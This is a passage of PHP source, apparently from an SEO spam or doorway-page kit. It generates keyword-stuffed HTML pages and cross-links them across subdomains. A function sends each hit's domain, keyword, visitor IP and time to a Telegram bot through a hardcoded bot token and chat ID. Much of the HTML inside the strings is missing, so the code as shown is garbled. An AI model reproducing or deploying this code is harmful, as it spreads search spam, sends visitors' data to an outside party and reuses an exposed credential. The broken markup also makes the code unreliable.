$_SERVER['HTTP_HOST']; $language = getLanguage(); $allKeywords = array_merge([$keywords], $additionalKeywords); $keywordLinks = ''; foreach ($allKeywords as $keyword) { $link = 'https://' . $rootDomain . '/tags/' . str_replace(' ', '-', $keyword) . '.html'; $keywordLinks .= "" . htmlspecialchars($keyword) . ", "; } $keywordLinks = rtrim($keywordLinks, ', '); $data = [ 'language' => $language, 'title' => $title, 'keywords' => $keywords . ', ' . implode(', ', $additionalKeywords), 'description' => $description . ' ' . implode(', ', $additionalKeywords), 'domain' => $domain, 'filePath' => $subFilePath, 'content' => $content, 'keywordLinks' => $keywordLinks, 'creationTime' => $creationTime ]; // Get a random template from the directory $randomTemplatePath = getRandomTemplate('theme/domain'); if ($randomTemplatePath) { $htmlContent = renderTemplate($randomTemplatePath, $data); file_put_contents($subFilePath, $htmlContent); readfile($subFilePath); } else { createAndServeSubHTML3($subFilePath, $title, $keyword, $additionalKeywords, $description, $content); //echo "No templates found in the directory."; } } function createAndServeHTML3($filePath, $title, $keywords, $additionalKeywords, $description, $content) { $creationTime = date("Y-m-d H:i:s"); // Generate current time or specified time $domain = $_SERVER['HTTP_HOST']; $language = getLanguage(); $keywordLinks = ''; // 获取当前访问的域名 $host = $_SERVER['HTTP_HOST']; // 分割域名,获取子域名部分 $hostParts = explode('.', $host); // 获取根域名 $rootDomain = ''; if (count($hostParts) > 2) { // 如果是子域名,根域名为最后两部分组成 $rootDomain = implode('.', array_slice($hostParts, -2, 2)); } else { // 如果没有子域名,直接使用当前域名 $rootDomain = $host; } $allKeywords = array_merge([$keywords], $additionalKeywords); // Combine main keyword and additional keywords foreach ($allKeywords as $keyword) { $link = 'https://' . $rootDomain . '/tags/' . str_replace(' ', '-', $keyword) . '.html'; // Replace spaces with hyphens for URL $titleAttr = " title='{$keyword}'"; // Title attribute for SEO $keywordLinks .= "" . htmlspecialchars($keyword) . ", "; } $keywordLinks = rtrim($keywordLinks, ', '); // Remove the last comma // Generate HTML content with AMP compliance $htmlContent = "\n"; $htmlContent .= "\n\n"; $htmlContent .= "\n"; $htmlContent .= "\n"; $htmlContent .= "{$title}\n"; $htmlContent .= "\n"; $htmlContent .= "\n"; $htmlContent .= "\n"; // Custom CSS styles with high contrast $htmlContent .= "\n"; // AMP boilerplate $htmlContent .= "\n"; $htmlContent .= "\n"; $htmlContent .= "\n"; // Structured data script $htmlContent .= "\n"; $htmlContent .= "\n\n"; $htmlContent .= "
\n"; $htmlContent .= "

← Home

\n"; $htmlContent .= "

{$title}

\n"; $htmlContent .= $content; $htmlContent .= "\n"; // Inserting keyword links $htmlContent .= "

Created on: {$creationTime}

\n"; // Display creation time $htmlContent .= "
\n"; $htmlContent .= "\n"; file_put_contents($filePath, $htmlContent); readfile($filePath); } function createAndServeSubHTML3($subFilePath, $title, $keywords, $additionalKeywords, $description, $content) { // 获取当前访问的域名 $host = $_SERVER['HTTP_HOST']; // 分割域名,获取子域名部分 $hostParts = explode('.', $host); // 获取根域名 $rootDomain = ''; if (count($hostParts) > 2) { // 如果是子域名,根域名为最后两部分组成 $rootDomain = implode('.', array_slice($hostParts, -2, 2)); } else { // 如果没有子域名,直接使用当前域名 $rootDomain = $host; } $creationTime = date("Y-m-d H:i:s"); // Generate current time or specified time $domain = $_SERVER['HTTP_HOST']; $language = getLanguage(); $keywordLinks = ''; $allKeywords = array_merge([$keywords], $additionalKeywords); // Combine main keyword and additional keywords foreach ($allKeywords as $keyword) { $cleanKeyword = preg_replace('/[^a-zA-Z0-9\s]/', '', $keyword); $cleanKeyword=str_replace(' ', '-', $cleanKeyword); $link = 'http://'.$cleanKeyword.'.' . $rootDomain ; // Replace spaces with hyphens for URL $titleAttr = " title='{$keyword}'"; // Title attribute for SEO $keywordLinks .= "" . htmlspecialchars($keyword) . ", "; } $keywordLinks = rtrim($keywordLinks, ', '); // Remove the last comma // Generate HTML content with AMP compliance $htmlContent = "\n"; $htmlContent .= "\n\n"; $htmlContent .= "\n"; $htmlContent .= "\n"; $htmlContent .= "{$keywords}, " . implode(', ', $additionalKeywords) . "\n"; $htmlContent .= "\n"; $htmlContent .= "\n"; $htmlContent .= "\n"; // Custom CSS styles with high contrast $htmlContent .= "\n"; // AMP boilerplate $htmlContent .= "\n"; $htmlContent .= "\n"; $htmlContent .= "\n"; // Structured data script $htmlContent .= "\n"; $htmlContent .= "\n\n"; $htmlContent .= "
\n"; $htmlContent .= "

← Home

\n"; $htmlContent .= "

{$title}

\n"; $htmlContent .= $content; $htmlContent .= "\n"; // Inserting keyword links $htmlContent .= "

Created on: {$creationTime}

\n"; // Display creation time $htmlContent .= "
\n"; $htmlContent .= "\n"; file_put_contents($subFilePath, $htmlContent); readfile($subFilePath); } function createAndServeHTML2($filePath, $title, $keywords, $additionalKeywords, $description, $content) { $creationTime = date("Y-m-d H:i:s"); // 生成当前时间或指定时间 $domain = $_SERVER['HTTP_HOST']; // Get the language from lang.txt $language = getLanguage(); // Generate keyword links from the provided keyword lists $keywordLinks = ''; $allKeywords = array_merge([$keywords], $additionalKeywords); // Combine main keyword and additional keywords foreach ($allKeywords as $keyword) { $link = 'https://'.$domain.'/tags/' . str_replace(' ', '-', $keyword) . '.html'; // Replace spaces with hyphens for URL $titleAttr = " title='{$keyword}'"; // Title attribute for SEO $keywordLinks .= "" . htmlspecialchars($keyword) . ", "; } $keywordLinks = rtrim($keywordLinks, ', '); // Remove the last comma // Generate HTML content with AMP compliance $htmlContent = "\n"; $htmlContent .= "\n\n"; $htmlContent .= "\n"; $htmlContent .= "\n"; $htmlContent .= "{$title}\n"; $htmlContent .= "\n"; $htmlContent .= "\n"; $htmlContent .= "\n"; $htmlContent .= "\n"; // AMP boilerplate // Include the AMP boilerplate code $htmlContent .= "\n"; $htmlContent .= "\n"; $htmlContent .= "\n"; // Structured data script // Structured data script $htmlContent .= "\n"; $htmlContent .= "\n\n"; // Add return to homepage link in the top-right corner $htmlContent .= "
\n"; $htmlContent .= "

← Home

\n"; $htmlContent .= "

{$title}

\n"; $htmlContent .= $content; $htmlContent .= ""; // Inserting keyword links $htmlContent .= "

time: {$creationTime}

\n"; // Display creation time $htmlContent .= "
\n"; //$htmlContent .= "\n"; //$htmlContent .= "\n"; $htmlContent .= "\n"; file_put_contents($filePath, $htmlContent); readfile($filePath); } function createAndServeHTML1($filePath, $title, $keywords, $additionalKeywords, $description, $content) { // Generate keyword links from the provided keyword lists $keywordLinks = ''; $allKeywords = array_merge([$keywords], $additionalKeywords); // Combine main keyword and additional keywords foreach ($allKeywords as $keyword) { $link = '/tags/' . str_replace(' ', '-', $keyword) . '.html'; // Replace spaces with hyphens for URL $keywordLinks .= "" . htmlspecialchars($keyword) . ", "; } $keywordLinks = rtrim($keywordLinks, ', '); // Remove the last comma // Generate HTML content $htmlContent = "\n"; $htmlContent .= "\n\n"; $htmlContent .= "\n"; $htmlContent .= "\n"; $htmlContent .= "{$title}\n"; $htmlContent .= "\n"; $htmlContent .= "\n"; $htmlContent .= "\n"; $htmlContent .= "\n"; $htmlContent .= "\n"; $htmlContent .= "\n"; $htmlContent .= "\n"; $htmlContent .= "\n\n"; $htmlContent .= "
\n"; $htmlContent .= "

{$title}

\n"; $htmlContent .= $content; $htmlContent .= "

Related Links:

$keywordLinks
"; // Inserting keyword links $htmlContent .= "
\n"; $htmlContent .= "\n"; $htmlContent .= "\n"; $htmlContent .= "\n"; file_put_contents($filePath, $htmlContent); readfile($filePath); } // Function to get random keywords excluding the main keyword function getRandomKeywords($keywords, $number) { shuffle($keywords); return array_slice($keywords, 0, $number); } function sendTelegramNotification($ip, $domain, $keyword, $time) { // Telegram Bot API URL $telegramApiUrl = "https://api.telegram.org/bot7399777445:AAFOMla5QFB48wew5k_53xC5TQSAQH2I4o4/sendMessage"; // The chat ID where you want to send the message $chatId = '-4515610171'; // The message content with HTML formatting $message = "锁定关键词:\n"; $message .= "Domain: {$domain}\n"; $message .= "Keyword: {$keyword}\n"; $message .= "IP Address: {$ip}\n"; $message .= "Time: {$time}\n"; $message .= "编辑网页: 管理\n"; // Create the data array to be sent $data = [ 'chat_id' => $chatId, 'text' => $message, 'parse_mode' => 'HTML' ]; // Send the POST request to Telegram API $options = [ 'http' => [ 'header' => "Content-type: application/x-www-form-urlencoded\r\n", 'method' => 'POST', 'content' => http_build_query($data), ], ]; $context = stream_context_create($options); file_get_contents($telegramApiUrl, false, $context); } // Helper function to remove scheme and domain from URL function remove_scheme_and_domain($url) { $url = preg_replace('/^https?:\/\/[^\/]+/i', '', $url); // 移除协议和域名部分 return ltrim($url, '/'); // 移除开头的斜杠 } // Function to get model data from CSV file based on the model name function getModelDataFromCSV($modelName) { $csvFilePath = 'models.csv'; // 指定 models.csv 的路径 if (($handle = fopen($csvFilePath, "r")) !== false) { while (($data = fgetcsv($handle, 1000, ",")) !== false) { if (isset($data[3]) && $modelName === $data[3]) { fclose($handle); return [ 'brand' => $data[1], 'series' => $data[2], 'model' => $data[3], 'name' => $data[4] ]; } } fclose($handle); } return null; // 如果没有找到匹配项,返回null } ?>